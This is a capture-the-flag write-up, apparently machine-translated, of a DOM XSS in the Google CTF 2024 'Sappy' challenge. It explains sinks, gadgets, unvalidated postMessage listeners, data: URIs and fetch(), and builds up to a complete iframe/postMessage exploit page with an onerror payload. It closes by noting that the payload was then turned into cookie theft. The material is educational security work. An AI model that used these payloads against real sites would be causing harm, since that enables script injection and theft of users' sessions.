XSS in Sappy (partial writeup)

Here).

Sink
A potentially dangerous JavaScript function or DOM object that could cause a vulnerability if passed user-controlled data. For example, the eval() function is a Sink because it treats the argument passed to it like JavaScript. An example of HTML-Sink is document.body.innerHTML, as this potentially allows HTML to be injected and arbitrary JavaScript to be executed.

Gadget
Small pieces of code that can be used to exploit vulnerabilities. Gadgets are often used in vulnerability chains to achieve greater impact. They are also used to bypass security measures, escalate privileges, or execute arbitrary code.

After getting acquainted with the source code, we should have been interested in the file sap.htmlwhich pulls up the file sap.js.

The potential sink is located in this section of code:

window.addEventListener(
	"message",
	async (event) => {
		let data = event.data;
		if (typeof data !== "string") return;
		data = JSON.parse(data);
		const method = data.method;
		switch (method) {
			case "initialize": {
				if (!data.host) return;
				API.host = data.host;
				break;
			}
		case "render": {
			if (typeof data.page !== "string") return;
			const url = buildUrl({
				host: API.host,
				page: data.page,
			});
			const resp = await fetch(url);
			if (resp.status !== 200) {
				console.error("something went wrong");
				return;
			}
			const json = await resp.json();
			if (typeof json.html === "string") {
				output.innerHTML = json.html;
			}
			break;
			}
		}
	},
	false
);

Sink:

output.innerHTML = json.html;

Gadget chain:

  • Passing user data to event listener

  • Override API.host

  • Parameter Formation url using API.host And data.page

  • AJAX request to url using fetch()

  • The request response in json format contains the key htmlthe value of which is substituted into sink

Exploit preparation

Passing user data to event listener

To exploit this section of code, you need to somehow transfer user data (source) to it. For this purpose the method is used addEventListener()

MDN:

Method EventTarget.addEventListener() registers a specific event handler called on EventTarget.

EventTarget May be Element, Document, Windowor any other event-enabled object (such as XMLHttpRequest).

Syntax

target.addEventListener(type, listener[, options]); ...

type
Case sensitive string representing type of event processed.

listener
An object that receives a notification when an event of the specified type has occurred. This must be an object that implements the interface EventListener or simply JavaScript function.

Controlling the web message source(literal translation)

If the page handles incoming web messages in an insecure way, for example by not validating correctly origin of incoming messages to the event listener, properties and functions called by the event listener can become sinks. For example, an attacker could place a malicious iframe and use the method postMessage() to pass the web message data to the vulnerable event listener, which then sends the payload to the sink on the parent page. This behavior means that you can use web messages as a source to distribute malicious data to any of these sinks.

Those. to execute the method postMessage() with payload, the following conditions must be met:

  • Presence of event listener of type “message”

    addEventListener("message", ...)
  • Using data from an event

    addEventListener("message", funciton(event) {
    	eval(event.data);
    })
  • Lack of protection against the use of iframes

Then our exploit will look something like this:

<iframe src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload="this.contentWindow.postMessage('print()','*')">

Overriding API.host

	async (event) => {
		let data = event.data;
		if (typeof data !== "string") return;
		data = JSON.parse(data);
		const method = data.method;
		switch (method) {
			case "initialize": {
				if (!data.host) return;
				API.host = data.host;
				break;
			}

To override API.hostsource must be in JSON format and contain keys method with meaning "initialize" And host with a value to override host:

Then exploit at this stage may look like this:

<iframe src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload='this.contentWindow.postMessage("{\"method\":\"initialize\",\"host\":\"...\"}","*")'>

Forming the url parameter using API.host and data.page

const Uri = goog.require("goog.Uri");
...
		case "render": {
			if (typeof data.page !== "string") return;
			const url = buildUrl({
				host: API.host,
				page: data.page,
			});
		}

...
function buildUrl(options) {
	return getHost(options) + "/sap/" + options.page;
}
...

function getHost(options) {
if (!options.host) {
	const u = Uri.parse(document.location);
	return u.scheme + "://sappy-web.2024.ctfcompetition.com";
}
	return validate(options.host);
}

As can be seen from the code, the parameter API.host checked for the presence of a string "://sappy-web.2024.ctfcompetition.com"but without checking the circuit.

Here we get acquainted with the data schema.

DATA scheme:,

RFC:

   Some applications that use URLs also have a need to embed (small)
   media type data directly inline. This document defines a new URL
   scheme that would work like 'immediate addressing'. The URLs are of
   the form:

                    data:[<mediatype>][;base64],<data>

   The <mediatype> is an Internet media type specification (with
   optional parameters.) The appearance of ";base64" means that the data
   is encoded as base64. Without ";base64", the data (as a sequence of
   octets) is represented using ASCII encoding for octets inside the
   range of safe URL characters and using the standard %xx hex encoding
   of URLs for octets outside that range.  If <mediatype> is omitted, it
   defaults to text/plain;charset=US-ASCII.  As a shorthand,
   "text/plain" can be omitted but the charset parameter supplied.
   A data URL might be used for arbitrary types of data. The URL

                          data:,A%20brief%20note

   encodes the text/plain string "A brief note", which might be useful
   in a footnote link.

Wiki:

The minimal data URI is data:,consisting of the scheme, no media-type, and zero-length data.

Thus, within the overall URI syntax, a data URI consists of a scheme and a pathwith no authority part query stringor fragment. The optional media typethe optional base64 indicator, and the data are all parts of the URI path.

From everything described above, we conclude that to use this scheme it is enough to indicate data:{что угодно},{полезные данные}.

Then the payload for this gadget will look like:

data://sappy-web.2024.ctfcompetition.com/,{payload}

And the final exploit will look like:

<iframe src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload='this.contentWindow.postMessage("{\"method\":\"initialize\",\"host\":\"data://sappy-web.2024.ctfcompetition.com/,{payload}\"}","*")'>

AJAX request to url using fetch()

Next, you need to know some features of working with fetch and promise.

Promise

Modern JavaScript Tutorial:

A Promise is a special object that contains its own state. At the beginning pending(“waiting”), then one of: fulfilled (“completed successfully”) or rejected (“completed with error”).

The way to use it, in general terms, is this:

  1. Code that needs to do something asynchronously creates an object promise and returns it.

  2. External code, having received promiseattaches handlers to it.

  3. When the process completes, the asynchronous code translates promise in a state fulfilled (with result) or rejected (with an error). In this case, the corresponding handlers in the external code are automatically called.

fetch()

MDN:

The global fetch() method starts the process of fetching a resource from the network, returning a promise that is fulfilled once the response is available.

(literal translation): “Global method fetch() starts the process of obtaining a resource from the network, returning a promise that will be fulfilled (state fulfilled), as soon as the Response is available.”

The promise resolves to the Response object representing the response to your request.

(literal translation): “Promise resolves to an object Responserepresenting the answer to your request.”

A fetch() promise only rejects when the request fails, for example, because of a badly-formed request URL or a network error. A fetch() promise does not reject if the server responds with HTTP status codes that indicate errors (404, 504, etc.). Instead, a then() handler must check the Response.ok and/or Response.status properties.

(literal translation): “Promise fetch() is rejected only if the request fails, such as due to a malformed request URL or a network error. Promise fetch() does not reject a request if the server responds with HTTP status codes that indicate errors (404, 504 etc.). Instead the handler then() should check properties Response.ok and/or Response.status

It is important for us that with any response from the server, fetch() will still return a promise with a response, but more on that later.

When you call fetch, it returns a Promise that resolves to a Response object. To access the fields of the response object, you need to wait for this promise to resolve. This can be done in several ways: using promise chains (.then()) or using awaitinside an asynchronous function.

Example without await:

fetch("https://example.com/api/data")
  .then(response => {
    // Теперь у вас есть объект Response
    console.log(response.status); // Пример доступа к полю статуса
    return response.text(); // Если вы ожидаете текстовый ответ
  })

await fetch() used inside an asynchronous function to wait for the resolution of a promise that returns fetch(). This makes working with asynchronous operations easier because it allows you to write code that appears synchronous.

Example with await:

async function fetchData() { 
  const response = await fetch('https://example.com/api/data'); 
  const data = await response.json(); 
  console.log(data); 
} 
fetchData();

At this stage, the event listener needs to send two events.

<iframe id="myIframe" src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload=sendMessages()></iframe>
<script>
	function sendMessages() {
		const iframe = document.getElementById('myIframe');
		const iframeWindow = iframe.contentWindow;
		const messages = [
			'{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/"}',
			'{"method": "render", "page": \\",{payload}\\"}"}'
		];
		messages.forEach(message => {
		iframeWindow.postMessage(message, "*");
		});
	}
</script>

The request response in json format contains the html key, the value of which is substituted in sink

const json = await resp.json();
if (typeof json.html === "string") {
	output.innerHTML = json.html;
}

If we use the method fetch() to request a resource in json format, then after receiving the server response you can use the method Response.json().

There is a resource for testing such functionality: https://mdn.github.io/dom-examples/fetch/fetch-json/.

Address https://mdn.github.io/dom-examples/fetch/fetch-json/products.json returns an array of JSON objects.

Note 1. In argument fetch() a relative address is specified, because the request was executed in the toolbar console on this tab.

Note 2. Method json() also returns promise, so we use await to get the object.

Now we use the scheme data:,{payload} with json data as payload {"foo":"bar"} in URI and method json():

And we see that the data from url returned as a JSON object from the response.

It turns out that the code looks like:

res = await fetch(url);
foo = await res.json();

allows us to create different json objects within the same domain using schema data:, and method promises fetch().

We remember that url formed by concatenating two sources with a string value "/sap/":

function buildUrl(options) {
	return getHost(options) + "/sap/" + options.page;
}

So that the payload looks like:

'data://sappy-web.2024.ctfcompetition.com/sap,{"html":"<img src=x onerror=alert(1)>"}'

Then the final exploit will look something like this:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <iframe id="myIframe" src="https://sappy-web.2024.ctfcompetition.com/sap.html" onload=sendMessages()></iframe>
    <script>
        function sendMessages() {
            const iframe = document.getElementById('myIframe');
            const iframeWindow = iframe.contentWindow;

            const messages = [
            '{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/"}',
            '{"method": "render", "page": ",{\\"html\\":\\"<img src=x onerror=alert(1)>\\"}"}'
            ];

            messages.forEach(message => {
                iframeWindow.postMessage(message, "*");
            });
        }
    </script>
</body>
</html>

At the time of writing this writeup exploit from Google looks like this:

window.postMessage('{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/,{\\"html\\":\\"<img src=x onerror=alert(1)>"}');
window.postMessage('{"method": "render", "page": "page1\\"}"}')

Finally, to get the flag, the payload had to be converted so that it would send the victim's cookies (which contained the flag) to the resource under control.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *